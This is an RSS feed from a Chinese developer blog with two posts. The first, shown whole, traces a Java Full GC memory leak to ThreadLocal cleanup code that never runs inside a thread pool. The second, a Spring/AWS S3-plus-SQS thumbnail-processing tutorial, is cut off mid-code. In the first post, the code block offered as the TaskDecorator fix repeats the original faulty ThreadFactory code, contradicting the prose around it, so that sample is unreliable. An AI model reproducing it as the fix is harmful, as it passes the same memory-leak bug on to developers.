<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Untitled RSS Feed]]></title><description><![CDATA[Untitled RSS Feed]]></description><link>https://tech.wekoi.cn/</link><generator>Ghost 0.7</generator><lastBuildDate>Tue, 31 Mar 2026 09:01:24 GMT</lastBuildDate><atom:link href="https://tech.wekoi.cn/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[记一次线上 Full GC 排查：线程池 + ThreadLocal 引发的内存泄漏]]></title><description><![CDATA[<p>文章记录了项目中遇到的一个线上问题--线上服务持续Full GC，最终定位到是 ThreadLocal 在线程池场景下的内存泄漏。问题本身不复杂，但排查过程中涉及到 JVM 内存模型、GC 机制、ThreadLocal 底层实现、线程池源码等多个知识点。</p>

<h3 id="1">1. 背景</h3>

<p>那天是个周末，我照例做生产环境巡检，打开监控大盘一看，bill 服务的 GC 指标不太对劲——Full GC 的频率明显升高，而且看趋势没有收敛的迹象。</p>

<p>虽说 Full GC 偶尔出现一两次也不算什么大事，但连续触发就不正常了。于是我把 GC 日志捞了下来，丢到 GCeasy 上做了一次分析。</p>

<h5 id="gc">GC 日志分析</h5>

<p>GCeasy 的分析结果非常直观——<strong>老年代（Old Generation）的内存使用量一直在爬坡</strong>，从大约 300MB 稳步上升到接近 500MB，</p>]]></description><link>https://tech.wekoi.cn/2026/03/31/ji-yi-ci-xian-shang-full-gc-pai-cha-xian-cheng-chi-threadlocal-yin-fa-de-nei-cun-xie-lou/</link><guid isPermaLink="false">550f597d-9e3a-4d4b-b4f3-f256a43ba69c</guid><category><![CDATA[服务端]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Tue, 31 Mar 2026 09:00:41 GMT</pubDate><content:encoded><![CDATA[<p>文章记录了项目中遇到的一个线上问题--线上服务持续Full GC，最终定位到是 ThreadLocal 在线程池场景下的内存泄漏。问题本身不复杂，但排查过程中涉及到 JVM 内存模型、GC 机制、ThreadLocal 底层实现、线程池源码等多个知识点。</p>

<h3 id="1">1. 背景</h3>

<p>那天是个周末，我照例做生产环境巡检，打开监控大盘一看，bill 服务的 GC 指标不太对劲——Full GC 的频率明显升高，而且看趋势没有收敛的迹象。</p>

<p>虽说 Full GC 偶尔出现一两次也不算什么大事，但连续触发就不正常了。于是我把 GC 日志捞了下来，丢到 GCeasy 上做了一次分析。</p>

<h5 id="gc">GC 日志分析</h5>

<p>GCeasy 的分析结果非常直观——<strong>老年代（Old Generation）的内存使用量一直在爬坡</strong>，从大约 300MB 稳步上升到接近 500MB，before GC 和 after GC 的曲线几乎是贴着往上走的，GC 回收后的内存基本没怎么释放。 <br>
<img src="http://static.etouch.cn/imgs/upload/1774944384.3705.png" alt="">
这条平稳上升的曲线，几乎就是内存泄漏的标志性特征。</p>

<p>简单解释一下这里的判断依据：正常情况下，Full GC 之后老年代的内存应该会有明显下降（因为不再被引用的对象被回收了）。但如果 GC 后内存几乎不降，说明老年代里有大量对象仍然被强引用持有，GC 想回收但回收不了——这就是典型的内存泄漏表现。</p>

<h5 id="">为什么是老年代？</h5>

<p>这里顺便聊一下 JVM 的分代模型。在 HotSpot JVM 中，堆内存分为年轻代和老年代：</p>

<p></p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">年轻代（Young Generation）：</span>新创建的对象优先分配在这里，经过若干次 Minor GC 仍然存活的对象会被晋升到老年代
</p><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;"> <br>
  <span style="font-weight: 700;">老年代（Old Generation）：</span>存放长期存活的对象，Full GC 时才会被回收</p>

<p>泄漏对象之所以最终堆积在老年代，是因为它们一直被引用，每次 Minor GC 都无法回收，年龄不断增长直到晋升。一旦大量泄漏对象进入老年代，就会导致老年代空间不断被挤占，最终触发 Full GC。而 Full GC 又回收不了这些对象，就形成了频繁 Full GC 的恶性循环。</p>

<h3 id="2mat">2. 堆转储分析：MAT 定位泄漏源</h3>

<p>既然怀疑是内存泄漏，那就得上 heap dump + MAT（Eclipse Memory Analyzer Tool）了。</p>

<p>我在生产环境 dump 了一份堆快照文件（<code>.hprof</code>），用 MAT 打开后，先看了一眼 Dominator Tree（支配树）。结果一目了然：<strong>排在前面的几个线程对象，每个都持有了大量的 <code>PriceVO$SkuPriceVO</code>对象，而且这些对象全部挂在 ThreadLocal 上。</strong>
<img src="http://static.etouch.cn/imgs/upload/1774944652.9133.png" alt="">
展开其中一个线程的引用链：</p>

<pre><code>java.lang.Thread  
  └── threadLocals: java.lang.ThreadLocal$ThreadLocalMap
        └── table: java.lang.ThreadLocal$ThreadLocalMap$Entry[]
              └── [n]: Entry
                    └── value: java.util.concurrent.ConcurrentHashMap
                          └── key: String (cacheKey)
                          └── value: List&lt;PriceVO.SkuPriceVO&gt;   // 大量泄漏对象
</code></pre>

<p>到这里，问题的轮廓已经很清晰了：<strong>ThreadLocal 中缓存的对象没有被及时清理，随着请求的不断到来，缓存数据越积越多，最终导致内存泄漏。</strong></p>

<h5 id="threadlocal">ThreadLocal 为什么容易泄漏？</h5>

<p>这里有必要深入聊一下 ThreadLocal 的内存模型。</p>

<p>每个 <code>Thread</code>对象内部都维护了一个 <code>ThreadLocalMap</code>，它是一个以 <code>ThreadLocal</code>实例为 key、以实际存储值为 value 的散列表。特别的是，key 是一个 <strong>弱引用（WeakReference）</strong>，但 value 是 <strong>强引用</strong>。</p>

<pre><code>Thread  
  └── ThreadLocal.ThreadLocalMap threadLocals
        └── Entry[] table
              └── Entry extends WeakReference&lt;ThreadLocal&lt;?&gt;&gt;
                    key  → ThreadLocal 实例 (弱引用)
                    value → 实际存储的对象  (强引用)
</code></pre>

<p>在普通场景下（每个请求一个线程，用完即销毁），ThreadLocal 不会有什么问题，因为线程死亡后整个<code>ThreadLocalMap</code>都会被 GC 回收。</p>

<p>但在<strong>线程池</strong>场景下就不一样了。线程池中的线程是<strong>复用</strong>的，一个线程处理完一个任务后不会被销毁，而是继续等待下一个任务。这意味着线程对象一直存活，它内部的<code>ThreadLocalMap</code>也一直存活，value 就永远不会被回收。</p>

<p>如果每次任务执行时都往 ThreadLocal 里塞数据，但执行完后又不清理，那这些数据就会一直在线程的 <code>ThreadLocalMap</code>里面累积，直到把内存撑爆——这就是经典的 <strong>ThreadLocal + 线程池内存泄漏模式。</strong></p>

<h3 id="3">3. 代码审查：找到写入点和"形同虚设"的清理逻辑</h3>

<p>接下来就是 review 代码了。很快就找到了数据写入 ThreadLocal 的地方——在一个价格过滤方法中：
<img src="http://static.etouch.cn/imgs/upload/1774945514.7075.png" alt="">
关键逻辑如下：</p>

<pre><code>public List&lt;PriceVO.SkuPriceVO&gt; listFilterNoCost(Long customerId, Long warehouseId,  
                                                   Long corpId, List&lt;...&gt; skuUnitList) {
    // 先从 ThreadLocal 缓存中取，有则直接返回
    String cacheKey = cacheHashCode(dto);
    Collection&lt;PriceVO.SkuPriceVO&gt; avgPriceList = ScopeCacheUtil.get(cacheKey);
    if (CollectionUtils.isEmpty(avgPriceList)) {
        avgPriceList = listSkuAvgPrice(dto);
        ScopeCacheUtil.put(cacheKey, avgPriceList);  // 写入 ThreadLocal
    }
    // ... 过滤逻辑
}
</code></pre>

<p>这段代码的意图是用 ThreadLocal 做一个"请求级别"的本地缓存——同一个请求内，相同参数的价格查询结果缓存起来，避免重复调用下游服务。思路没问题，但必须在任务执行完后清理掉。</p>

<p>然后我找到了线程池的配置代码，发现<strong>确实有清理 ThreadLocal 的逻辑：</strong>
<img src="http://static.etouch.cn/imgs/upload/1774945580.8637.png" alt="">
核心配置代码：</p>

<pre><code>public ThreadPoolTaskExecutor taskExecutor() {  
    ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
    executor.setThreadFactory(r -&gt; {
        Thread thread = new Thread(new ContextRelatedRunnable() {
            @Override
            public void doRun() {
                r.run();
                ScopeCacheUtil.clearContext();  // 清理 ThreadLocal
            }
        });
        // ...
        return thread;
    });
    return executor;
}
</code></pre>

<p>看起来没啥问题对吧？在<code>doRun()</code>方法里，先执行任务<code>r.run()</code>，然后调用 <code>ScopeCacheUtil.clearContext()</code>清理。</p>

<p>但我在本地加了断点调试后发现——<code>clearContext()</code><strong>这行代码根本就没执行过！</strong></p>

<p>本地 MAT 分析也验证了这一点，ThreadLocal 中的对象依然在不断累积：
<img src="http://static.etouch.cn/imgs/upload/1774945661.5584.png" alt=""></p>

<h3 id="4threadfactoryr">4. 根因分析：ThreadFactory 中的 r 到底是什么？</h3>

<p>这就是整个问题最有意思的地方了。</p>

<p>调试时我仔细看了一下 <code>setThreadFactory(r -&gt; { ... })</code>中这个参数 r 的运行时类型，发现它不是我们提交的业务 <code>Runnable</code>，而是 <code>java.util.concurrent.ThreadPoolExecutor$Worker</code>对象。
<img src="http://static.etouch.cn/imgs/upload/1774945721.4882.png" alt=""></p>

<pre><code>r = {ThreadPoolExecutor$Worker@24132}  
    "java.util.concurrent.ThreadPoolExecutor$Worker@52875e40[State = -1, empty queue]"
</code></pre>

<p>这下一切都说得通了。</p>

<h5 id="">线程池的内部运作机制</h5>

<p>要理解这个问题，需要了解 <code>ThreadPoolExecutor</code>的核心机制。线程池内部有一个 <code>Worker</code> 类：</p>

<pre><code>private final class Worker extends AbstractQueuedSynchronizer implements Runnable {  
    final Thread thread;
    Runnable firstTask;

    public void run() {
        runWorker(this);
    }
}
</code></pre>

<p><code>Worker</code>本身就是一个 <code>Runnable</code>。 当线程池需要创建新线程时，会通过 <code>ThreadFactory.newThread(Runnable r)</code>创建线程，但这里传入的<code>r</code>不是用户提交的任务，而是<code>Worker</code>对象本身。</p>

<p><code>Worker.run()</code>方法内部调用 <code>runWorker(this)</code>，这是一个循环——它会不断地从任务队列中取出任务并执行。换句话说，<code>Worker</code>是线程的"引擎"，它的
<code>run()</code>方法在线程存活期间几乎不会返回（除非线程池关闭或线程被回收）。</p>

<p>所以原来代码中的清理逻辑：</p>

<pre><code>r.run();                            // Worker.run() → runWorker() 循环  
ScopeCacheUtil.clearContext();      // 几乎永远不会执行到这里！  
</code></pre>

<p><code>r.run()</code>就是启动了 Worker 的工作循环，这个循环会一直跑下去，<code>clearContext()</code>在后面等着，但永远轮不到它执行。就好比你在一个死循环后面写了一行代码——编译器不报错，但它就是跑不到。</p>

<p>这也是为什么这个 bug 隐藏了这么久：代码看起来逻辑完整，清理操作确实写了，但就是不生效。</p>

<h3 id="5taskdecorator">5. 解决方案：使用 TaskDecorator</h3>

<p>找到了根因，修复方案也就明确了。我们需要的是在<strong>每个任务</strong>执行前后做 hook，而不是在<strong>线程</strong>创建时做 hook。</p>

<p>Spring 的<code>ThreadPoolTaskExecutor</code>提供了一个非常优雅的扩展点——<code>TaskDecorator</code>。它的作用是对提交到线程池的每一个任务进行装饰（包装），可以在任务执行前后添加自定义逻辑： <br>
<img src="http://static.etouch.cn/imgs/upload/1774946389.6429.png" alt=""></p>

<pre><code>public ThreadPoolTaskExecutor taskExecutor() {  
    ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
    executor.setThreadFactory(r -&gt; {
        Thread thread = new Thread(new ContextRelatedRunnable() {
            @Override
            public void doRun() {
                r.run();
                ScopeCacheUtil.clearContext();  // 清理 ThreadLocal
            }
        });
        // ...
        return thread;
    });
    return executor;
}
</code></pre>

<p>这里用了 Java 8 的 Lambda 语法，本质上就是返回一个新的<code>Runnable</code>，它在 <code>finally</code> 块中确保无论任务正常完成还是抛出异常，都会执行 <code>clearContext()</code>清理 ThreadLocal。</p>

<p>调试验证：使用<code>TaskDecorator</code> 后，<code>runnable</code>参数的运行时类型是 <code>CompletableFuture$AsyncRun</code>——这才是我们真正的业务任务对象。每个任务执行完成后，<code>finally</code>块都能正确执行，ThreadLocal 被及时清理，内存不再泄漏。
<img src="http://static.etouch.cn/imgs/upload/1774946871.9346.png" alt="">
把原来<code> ThreadFactory </code>中无效的清理代码删掉，只保留 <code>TaskDecorator </code>的方案，修复完成。</p>

<h3 id="6">6. 延伸思考</h3>

<h5 id="61threadfactoryvstaskdecorator">6.1 ThreadFactory vs TaskDecorator：职责边界</h5>

<p>这个 bug 的本质其实是<strong>混淆了 ThreadFactory 和 TaskDecorator 的职责</strong>：
<img src="http://static.etouch.cn/imgs/upload/1774946947.8342.png" alt="">
一句话总结：<strong>线程级别的设置用 ThreadFactory，任务级别的 hook 用 TaskDecorator。</strong></p>

<p>6.2 ThreadLocal 使用的最佳实践 <br>
经过这次踩坑，我总结了几条在线程池场景下使用 ThreadLocal 的原则：</p>

<p><strong>1.用完必清理：</strong>在 <code>finally</code>块中调用 <code>ThreadLocal.remove()</code>，就像用完数据库连接要关闭一样</p>

<p><strong>2.优先用 TaskDecorator 兜底：</strong>即使业务代码里写了<code>remove()</code>，线程池层面也加一层保险</p>

<p><strong>3.考虑替代方案：</strong>如果只是想在一个调用链中传递数据，可以考虑用方法参数显式传递，或者使用<code>TransmittableThreadLocal</code>（阿里开源）来解决跨线程池传递的问题</p>

<p><strong>4.监控 + 巡检：</strong>定期关注 GC 日志和堆内存趋势，早发现早处理</p>

<h5 id="63">6.3 排查内存泄漏的通用思路</h5>

<p>最后梳理一下排查内存泄漏的一般套路，权当留个备忘：</p>

<pre><code>1. 发现异常  
   └── 监控告警 / 巡检发现 Full GC 频繁

2. 确认泄漏  
   └── 分析 GC 日志（GCeasy / GCViewer）
   └── 观察 Old 代内存趋势：GC 后是否回落

3. 定位泄漏对象  
   └── jmap -dump 导出堆快照
   └── MAT 分析：Leak Suspects / Dominator Tree / Histogram
   └── 找到占用内存最大的对象及其 GC Root 引用链

4. 代码审查  
   └── 根据引用链找到代码中的写入点
   └── 检查是否有清理逻辑，清理逻辑是否真的生效

5. 修复 &amp; 验证  
   └── 本地复现 + 断点调试
   └── 修复后观察内存趋势是否恢复正常
</code></pre>

<h3 id="7">7. 总结</h3>

<p>回过头看，这个问题的直接原因很简单——ThreadLocal 没清理导致内存泄漏。但真正有意思的是：<strong>代码里明明写了清理逻辑，看着完全没问题，实际上却从来没执行过。</strong></p>

<p>这也是线上问题排查中常见的一种情况：不是没做，而是做了但没生效。写代码容易，验证它真的按预期工作，才是更重要的事。</p>

<p>如果你也在用线程池 + ThreadLocal 的组合，建议检查一下你的清理逻辑到底挂在了 ThreadFactory 还是 TaskDecorator 上——别让你的清理代码也成了"永远跑不到的那一行"。</p>

<h3 id="">作者介绍：</h3>

<ul>
<li>唐武  高级服务端开发工程师</li>
</ul>]]></content:encoded></item><item><title><![CDATA[AWS S3 事件通知 + SQS 消息队列：Java 实现文件上传自动化处理的完整实战指南]]></title><description><![CDATA[<p>摘要
：在现代云原生应用中，文件上传后的自动化处理（如缩略图生成、格式转换、内容审核等）是一个极为常见的需求。本文以真实生产项目为基础，详细讲解如何利用 AWS S3 事件通知 + SQS 消息队列构建一套事件驱动架构，并在 Java（Spring）项目中实现完整的监听 → 过滤 → 异步处理链路，涵盖防循环触发、并发控制、内存安全等生产级关键细节。</p>

<h4 id="">目录</h4>

<p>1.背景与需求分析 <br>
2.架构设计与方案对比 <br>
3.AWS 侧配置详解 <br>
4.Java 代码实现详解 <br>
5.生产环境关键设计 <br>
6.监控、运维与故障排查 <br>
7.性能优化与成本控制 <br>
8.总结与最佳实践  </p>

<h4 id="">一、背景与需求分析</h4>

<h5 id="11">1.1 业务场景</h5>

<p>在我们的内容管理系统中，用户每天通过多种方式（</p>]]></description><link>https://tech.wekoi.cn/2026/03/03/aws-s3-shi-jian-tong-zhi-sqs-xiao-xi-dui-lie-java-shi-xian-wen-jian-shang-chuan-zi-dong-hua-chu-li-de-wan-zheng-shi-zhan-zhi-nan/</link><guid isPermaLink="false">2ab9b585-b4c0-4713-87b2-cb3bd37b7638</guid><category><![CDATA[大后端]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Tue, 03 Mar 2026 03:23:29 GMT</pubDate><content:encoded><![CDATA[<p>摘要
：在现代云原生应用中，文件上传后的自动化处理（如缩略图生成、格式转换、内容审核等）是一个极为常见的需求。本文以真实生产项目为基础，详细讲解如何利用 AWS S3 事件通知 + SQS 消息队列构建一套事件驱动架构，并在 Java（Spring）项目中实现完整的监听 → 过滤 → 异步处理链路，涵盖防循环触发、并发控制、内存安全等生产级关键细节。</p>

<h4 id="">目录</h4>

<p>1.背景与需求分析 <br>
2.架构设计与方案对比 <br>
3.AWS 侧配置详解 <br>
4.Java 代码实现详解 <br>
5.生产环境关键设计 <br>
6.监控、运维与故障排查 <br>
7.性能优化与成本控制 <br>
8.总结与最佳实践  </p>

<h4 id="">一、背景与需求分析</h4>

<h5 id="11">1.1 业务场景</h5>

<p>在我们的内容管理系统中，用户每天通过多种方式（Web 端直传、API 上传、后台批量导入等）向 S3 上传大量图片和视频文件。为了提升前端展示性能和用户体验，我们需要：</p>

<ul>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">图片上传后：</span>自动生成 WebP 格式的缩略图，减小页面加载体积</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">视频上传后：</span>自动提取首帧作为封面图，供列表页展示</p></li>
<li><p style="color: #333; font-size: 18px; line-height: 1.6; margin: 0;">
<span style="font-weight: 700;">处理结果：</span>缩略图统一存放到同桶的约定目录下，文件名带<code> _thumbnail</code>标识</p></li>
</ul>

<h5 id="12">1.2 技术挑战</h5>

<p><img src="http://static.etouch.cn/imgs/upload/1772435506.6535.png" alt=""></p>

<h4 id="">二、架构设计与方案对比</h4>

<h5 id="21">2.1 方案一：应用层手动发布事件（传统方案）</h5>

<pre><code>用户上传 → 应用代码发布事件 → 消息队列 → 消费处理
</code></pre>

<h6 id="">缺点：</h6>

<ul>
<li>需要在所有上传入口（Controller、Service、定时任务等）手动埋点发送事件</li>
<li>容易遗漏，尤其是直接通过 AWS Console 或 SDK 上传的场景</li>
<li>业务代码与缩略图逻辑强耦合</li>
</ul>

<h5 id="22s3sqs">2.2 方案二：S3 事件通知 + SQS（推荐方案）</h5>

<pre><code>文件上传到 S3 → S3 自动发送事件通知 → SQS 队列 → Java 监听器消费 → 异步处理 → 结果回传 S3
</code></pre>

<h6 id="">优点：</h6>

<ul>
<li>无需修改任何上传代码，零侵入</li>
<li>覆盖所有上传方式（SDK、Console、CLI、跨账号复制等）完全解耦，可独立扩展</li>
<li>AWS 原生架构，成熟可靠</li>
</ul>

<h5 id="23">2.3 最终架构图</h5>

<pre><code>┌──────────────┐         ┌──────────────┐         ┌──────────────────────┐

│   客户端/API  │ upload  │    AWS S3    │  event  │     AWS SQS          │

│  (多种入口)   │ ──────→ │   Bucket     │ ──────→ │  标准队列             │

└──────────────┘         └──────────────┘         └──────────┬───────────┘

                                                             │ poll

                                                             ▼

                                                   ┌──────────────────┐

                                                   │ ThumbnailListener │

                                                   │ (@SqsListener)    │

                                                   └────────┬─────────┘

                                                            │ 过滤 + 构建事件

                                                            ▼

                                                   ┌──────────────────┐

                                                   │ 内部延迟队列       │

                                                   │ (SuishenQueue)    │

                                                   └────────┬─────────┘

                                                            │ 异步消费

                                                            ▼

                                                ┌───────────────────────┐

                                                │ ThumbnailEventHandler │

                                                │ (Semaphore 限流)       │

                                                └────────┬──────────────┘

                                                         │

                                          ┌──────────────┼──────────────┐

                                          ▼              ▼              ▼

                                     图片缩略图      视频首帧        不支持的类型

                                     (→ WebP)      (→ WebP)        (跳过)

                                          │              │

                                          ▼              ▼

                                   ┌────────────────────────┐

                                   │  上传到 S3 thumbnails    │

                                   │  目录                    │

                                   └────────────────────────┘
</code></pre>

<h4 id="aws">三、AWS 侧配置详解</h4>

<h5 id="31sqs">3.1 创建 SQS 队列</h5>

<p>登录 AWS 控制台，进入 SQS 服务：</p>

<p>1.点击 "创建队列" <br>
2.队列类型：标准队列（Standard Queue） <br>
3.队列名称：s3-upload-thumbnail-notifications <br>
4.关键参数配置： <br>
<img src="http://static.etouch.cn/imgs/upload/1772436721.7863.png" alt="">
5.记录队列 URL（后续配置需要），格式如：  </p>

<pre><code>https://sqs.us-west-2.amazonaws.com/514246740424/s3-upload-thumbnail-notifications  
</code></pre>

<h5 id="32sqs">3.2 配置 SQS 访问策略</h5>

<p>在队列的 "访问策略"中添加以下策略，允许 S3 服务向该队列发送消息：</p>

<pre><code>{

  "Version": "2012-10-17",

  "Statement": [

    {

      "Sid": "AllowS3ToSendMessage",

      "Effect": "Allow",

      "Principal": {

        "Service": "s3.amazonaws.com"

      },

      "Action": "SQS:SendMessage",

      "Resource": "arn:aws:sqs:us-west-2:514246740424:s3-upload-thumbnail-notifications",

      "Condition": {

        "ArnLike": {

          "aws:SourceArn": "arn:aws:s3:::your-bucket-name"

        }

      }

    }

  ]

}
</code></pre>

<p>安全提示：Condition中的 aws:SourceArn限制了只有指定的 S3 桶才能发送消息，务必配置，防止其他桶的消息混入。</p>

<h5 id="33s3">3.3 配置 S3 事件通知</h5>

<p>进入 S3 桶 → 属性→ 事件通知→ 创建事件通知：
<img src="http://static.etouch.cn/imgs/upload/1772436906.6787.png" alt="">
防循环关键点：如果你的缩略图也上传到同一个桶，强烈建议配置前缀过滤或后缀排除，从 AWS 层面就避免缩略图文件触发新事件。</p>

<h5 id="34s3">3.4 S3 事件通知消息格式</h5>

<p>当文件上传到 S3 时，AWS 自动发送如下 JSON 消息到 SQS：</p>

<pre><code>{

  "Records": [

    {

      "eventVersion": "2.1",

      "eventSource": "aws:s3",

      "awsRegion": "us-west-2",

      "eventTime": "2026-02-11T10:00:00.000Z",

      "eventName": "ObjectCreated:Put",

      "s3": {

        "bucket": {

          "name": "your-bucket-name",

          "arn": "arn:aws:s3:::your-bucket-name"

        },

        "object": {

          "key": "growth/original/photo.jpg",

          "size": 1024000,

          "eTag": "abc123def456",

          "sequencer": "0A1B2C3D4E5F6789"

        }

      }

    }

  ]

}
</code></pre>

<p>关键字段说明：</p>

<ul>
<li>eventName：事件类型，用于过滤（如只处理 ObjectCreated:*）</li>
<li>s3.bucket.name：桶名，用于后续 S3 操作</li>
<li>s3.object.key：对象键（文件路径），注意是URL 编码的，代码中需要解码</li>
<li>s3.object.size：文件大小（字节），可用于过滤超大文件</li>
</ul>

<h4 id="java">四、Java 代码实现详解</h4>

<h5 id="41maven">4.1 Maven 依赖配置</h5>

<pre><code>&lt;!-- AWS SDK BOM（统一版本管理） --&gt;

&lt;dependencyManagement&gt;

    &lt;dependencies&gt;

        &lt;dependency&gt;

            &lt;groupId&gt;software.amazon.awssdk&lt;/groupId&gt;

            &lt;artifactId&gt;bom&lt;/artifactId&gt;

            &lt;version&gt;2.20.157&lt;/version&gt;

            &lt;type&gt;pom&lt;/type&gt;

            &lt;scope&gt;import&lt;/scope&gt;

        &lt;/dependency&gt;

    &lt;/dependencies&gt;

&lt;/dependencyManagement&gt;


&lt;dependencies&gt;

    &lt;!-- AWS S3 SDK v2 --&gt;

    &lt;dependency&gt;

        &lt;groupId&gt;software.amazon.awssdk&lt;/groupId&gt;

        &lt;artifactId&gt;s3&lt;/artifactId&gt;

    &lt;/dependency&gt;


    &lt;!-- AWS SQS SDK v2 --&gt;

    &lt;dependency&gt;

        &lt;groupId&gt;software.amazon.awssdk&lt;/groupId&gt;

        &lt;artifactId&gt;sqs&lt;/artifactId&gt;

    &lt;/dependency&gt;


    &lt;!-- AWS SQS SDK v1（Spring Cloud AWS 依赖） --&gt;

    &lt;dependency&gt;

        &lt;groupId&gt;com.amazonaws&lt;/groupId&gt;

        &lt;artifactId&gt;aws-java-sdk-sqs&lt;/artifactId&gt;

        &lt;version&gt;1.12.529&lt;/version&gt;

    &lt;/dependency&gt;


    &lt;!-- Spring Cloud AWS Messaging（提供 @SqsListener 注解） --&gt;

    &lt;dependency&gt;

        &lt;groupId&gt;io.awspring.cloud&lt;/groupId&gt;

        &lt;artifactId&gt;spring-cloud-aws-messaging&lt;/artifactId&gt;

        &lt;version&gt;2.4.4&lt;/version&gt;

    &lt;/dependency&gt;


    &lt;!-- 图片缩略图生成库 --&gt;

    &lt;dependency&gt;

        &lt;groupId&gt;net.coobird&lt;/groupId&gt;

        &lt;artifactId&gt;thumbnailator&lt;/artifactId&gt;

        &lt;version&gt;0.4.21&lt;/version&gt;

    &lt;/dependency&gt;


    &lt;!-- WebP 图片格式支持 --&gt;

    &lt;dependency&gt;

        &lt;groupId&gt;org.sejda.imageio&lt;/groupId&gt;

        &lt;artifactId&gt;webp-imageio&lt;/artifactId&gt;

        &lt;version&gt;0.1.6&lt;/version&gt;

    &lt;/dependency&gt;

&lt;/dependencies&gt;  
</code></pre>

<p>说明：项目同时使用了 AWS SDK v1（Spring Cloud AWS 依赖）和 v2（S3 操作），这是因为 spring-cloud-aws-messaging 2.x底层依赖 v1 的 SQS 客户端。如果使用 Spring Cloud AWS 3.x，则可以统一到 v2。</p>

<h5 id="42">4.2 应用配置文件</h5>

<pre><code># ============ AWS 基础配置 ============

aws.s3.accessKey=YOUR_ACCESS_KEY

aws.s3.secretKey=YOUR_SECRET_KEY

aws.s3.region=us-west-2


# ============ SQS 缩略图队列配置 ============

# 是否启用 SQS 监听（可作为总开关）

aws.sqs.thumbnail.enabled=true

# SQS 队列 URL

aws.sqs.thumbnail.queue.url=https://sqs.us-west-2.amazonaws.com/514246740424/s3-upload-thumbnail-notifications


# ============ 缩略图生成配置 ============

# 缩略图质量（0.0-1.0，值越小文件越小）

aws.s3.thumbnail.quality=0.3

# 是否保留原始尺寸（仅压缩质量）

aws.s3.thumbnail.keep.original.size=true

# 是否启用内存监控（生产环境建议开启）

aws.s3.thumbnail.memory.monitor.enabled=true  
</code></pre>

<h5 id="43sqsenabledcondition">4.3 条件化加载：SqsEnabledCondition</h5>

<p>在非 Spring Boot 环境（如传统 Spring MVC 项目）中，我们需要自定义 Condition来控制 Bean 的创建：</p>

<pre><code>@Slf4j

public class SqsEnabledCondition implements Condition {


    @Override

    public boolean matches(ConditionContext context, AnnotatedTypeMetadata metadata) {

        String enabled = null;


        // 方式1: 尝试从 Spring Environment 读取

        Environment env = context.getEnvironment();

        if (env != null) {

            enabled = env.getProperty("aws.sqs.thumbnail.enabled");

        }


        // 方式2: 直接读取 classpath 下的配置文件（兜底）

        if (enabled == null &amp;&amp; context.getResourceLoader() != null) {

            Resource resource = context.getResourceLoader()

                .getResource("classpath:config.properties");

            if (resource.exists()) {

                Properties props = new Properties();

                try (InputStream is = resource.getInputStream()) {

                    props.load(is);

                    enabled = props.getProperty("aws.sqs.thumbnail.enabled");

                }

            }

        }


        boolean result = "true".equalsIgnoreCase(enabled);

        log.info("SQS 条件判断: aws.sqs.thumbnail.enabled={}, Bean创建决策: {}",

                enabled, result ? "创建" : "跳过");

        return result;

    }

}
</code></pre>

<h6 id="">设计意图：</h6>

<ul>
<li>通过配置开关控制整个 SQS 监听链路是否启用</li>
<li>支持多环境差异化配置（开发环境关闭，生产环境开启）</li>
<li>双重读取策略兼容不同的 Spring 配置加载方式</li>
</ul>

<h5 id="44sqsawssqsconfig">4.4 SQS 配置类：AwsSqsConfig</h5>

<pre><code>@Slf4j

@Configuration

public class AwsSqsConfig {


    @Value("${aws.s3.accessKey}")

    private String awsAccessKey;


    @Value("${aws.s3.secretKey}")

    private String awsSecretKey;


    @Value("${aws.s3.region:us-west-2}")

    private String awsRegion;


    /**

     * 创建 SQS 异步客户端

     */

    @Bean

    @Conditional(SqsEnabledCondition.class)

    public AmazonSQSAsync amazonSQSAsync() {

        BasicAWSCredentials credentials =

            new BasicAWSCredentials(awsAccessKey, awsSecretKey);


        return AmazonSQSAsyncClientBuilder.standard()

                .withRegion(Regions.fromName(awsRegion))

                .withCredentials(new AWSStaticCredentialsProvider(credentials))

                .build();

    }


    /**

     * 创建消息监听容器

     * 这是 Spring Cloud AWS 的核心组件，负责从 SQS 拉取消息并分发给 @SqsListener 方法

     */

    @Bean

    @Conditional(SqsEnabledCondition.class)

    public SimpleMessageListenerContainer simpleMessageListenerContainer(

            AmazonSQSAsync amazonSQSAsync,

            QueueMessageHandler queueMessageHandler) {


        SimpleMessageListenerContainer container = new SimpleMessageListenerContainer();

        container.setAmazonSqs(amazonSQSAsync);

        container.setMessageHandler(queueMessageHandler);

        container.setMaxNumberOfMessages(10);  // 每次最多拉取 10 条消息

        container.setWaitTimeout(20);           // 长轮询 20 秒

        return container;

    }


    /**

     * 创建消息处理器

     */

    @Bean

    @Conditional(SqsEnabledCondition.class)

    public QueueMessageHandler queueMessageHandler(AmazonSQSAsync amazonSQSAsync) {

        QueueMessageHandlerFactory factory = new QueueMessageHandlerFactory();

        factory.setAmazonSqs(amazonSQSAsync);

        return factory.createQueueMessageHandler();

    }

}
</code></pre>

<h6 id="">关键配置说明：</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1772438091.0148.png" alt="">
长轮询 vs 短轮询：设置 aitTimeout > 0即启用长轮询。SQS 会等待至有消息到达或超时才返回，比短轮询（立即返回空）节省大量请求费用。</p>

<h5 id="45s3s3eventnotification">4.5 S3 事件消息模型：S3EventNotification</h5>

<pre><code>@Data

public class S3EventNotification {


    @JsonProperty("Records")

    private List&lt;S3EventRecord&gt; records;


    @Data

    public static class S3EventRecord {

        @JsonProperty("eventVersion")

        private String eventVersion;


        @JsonProperty("eventSource")

        private String eventSource;


        @JsonProperty("awsRegion")

        private String awsRegion;


        @JsonProperty("eventTime")

        private String eventTime;


        @JsonProperty("eventName")

        private String eventName;


        @JsonProperty("s3")

        private S3Entity s3;

    }


    @Data

    public static class S3Entity {

        @JsonProperty("bucket")

